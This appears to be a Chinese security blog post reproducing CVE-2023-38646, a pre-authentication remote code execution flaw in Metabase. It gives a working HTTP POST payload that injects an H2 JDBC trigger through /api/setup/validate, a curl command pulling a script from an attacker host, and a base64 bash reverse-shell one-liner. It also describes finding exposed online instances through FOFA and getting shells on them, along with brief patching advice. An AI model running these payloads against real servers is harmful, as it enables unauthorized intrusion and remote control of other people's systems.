0x01 簡介
Metabase是一個開源的數據分析和可視化工具,它可以幫助用戶輕松地連接到各種數據源,包括數據庫、云服務和API,然后使用直觀的界面進行數據查詢、分析和可視化。
0x02 漏洞概述
漏洞編號:CVE-2023-38646
Metabase open source 0.46.6.1之前的版本和Metabase Enterprise 1.46.6.1之前的版本存在一個漏洞,允許攻擊者在服務器的權限級別上執行任意命令,利用時不需要身份驗證。
該漏洞是由預身份驗證 API 端點/api/setup/validate中的 JDBC 連接問題引起的。通過向該端點發出請求,我們成功實現了遠程代碼執行(RCE)。
0x03 影響版本
- Metabase open source 0.46 < 0.46.6.1
- Metabase Enterprise 1.46 < 1.46.6.1
- Metabase open source 0.45 < v0.45.4.1
- Metabase Enterprise 1.45 < 1.45.4.1
- Metabase open source 0.44 < 0.44.7.1
- Metabase Enterprise 1.44 < 1.44.7.1
- Metabase open source 0.43 < 0.43.7.2
- Metabase Enterprise 1.43 < 1.43.7.2
0x04 環境搭建
本地搭建
sudo docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
0x05 漏洞復現
本地環境
通過訪問IP:3000/api/session/properties獲取setup-token。截圖如下:

獲取到setup-token后構建poc執行反彈shell
由于靶機環境無法直接反彈shell,所以先構造一個反彈shell腳本,讓靶機獲取該腳本并執行,從而成功反彈
具體步驟如下:
訪問/api/setup/validate,并構造payload獲取攻擊服務器的2.sh文件,實際執行命令為:
curl http://192.168.222.184:8000/2.sh -o /tmp/2.sh
具體poc如下:
POST /api/setup/validate HTTP/1.1
Host: IP
Content-Type: application/json
{
"token": "token值",
"details": {
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules": {},
"details": {
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec(具體執行的命令)\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "test",
"engine": "h2"
}
}

成功獲取到2.sh文件,并置于/tmp/2.sh


2.sh文件詳情如下:

攻擊機監聽6666端口,并發送post包,執行2.sh,具體執行命令為bash /tmp/2.sh:

成功反彈shell:

在線環境
通過fofa搜索資產,訪問api/session/properties批量獲取對應的setup-token和版本信息,如下圖:

該機器可以直接反彈shell,所以直接構造shell
具體執行命令為:
bash -c {echo,YmFzaixxxYx}|{base64,-d}|{bash,-i}
其中YmFzaixxxYx是將shell進行64位編碼的值。具體執行情況如下圖:

開啟監聽

成功反彈shell

0x06 修復方式
臨時緩解方案:
通過網絡ACL策略限制訪問來源,例如只允許來自特定IP地址或地址段的訪問請求或者阻止對 /api/setup 終結點的請求。
升級修復方案:
官方已經推出了新的修復版本。建議所有受影響的用戶盡快訪問官方網站,更新至相應的安全版本。
對于使用 Docker 版本的用戶,只需拉取最新版本的鏡像進行更新。然而在開始升級前,務必確保已經對數據進行了備份。
需要注意的是不論使用什么修復版本,都需要確保應用完成安裝過程可正常登錄使用才可修復漏洞。同時作為安全建議,應該及時下線一些不使用的服務。
參考鏈接
- https://github.com/shamo0/CVE-2023-38646-PoC
- https://www.metabase.com/blog/security-advisory
- https://blog.calif.io/p/reproducing-cve-2023-38646-metabase
- https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
007bug
尚思卓越
一顆小胡椒
RacentYY
007bug
007bug
上官雨寶
007bug
007bug
FreeBuf